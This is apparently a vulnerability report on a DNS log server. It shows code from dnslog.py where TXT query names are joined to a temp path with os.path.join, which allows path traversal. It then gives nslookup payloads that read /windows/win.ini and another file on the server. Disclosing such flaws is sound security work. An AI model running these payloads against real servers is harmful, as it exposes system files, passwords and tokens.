There is a vulnerability in file download in the system

[Captaince]

Vulnerability exploitation points:
/src/logserver/dnslog.py# loopholes in the download points

if qtype == 'TXT':
	txtpath = os.path.join(tempfile.gettempdir(), str(qname).lower())
    	if os.path.isfile(txtpath):
        	reply.add_answer(
            	RR(qname, QTYPE.TXT, rdata=TXT(open(txtpath).read().strip())))

When a DNS query for a TXT record is processed, the application concatenates the requested URL (or a portion of it) directly with a base path using os.path.join. This bypasses allows directory traversal or absolute path injection, leading to the potential exposure of sensitive information such as user passwords and tokens.

Payload：

nslookup -type=TXT /windows/win.ini [server_ip]

nslookup -type=TXT F:/cola_dnslog-main/info.txt 192.168.196.1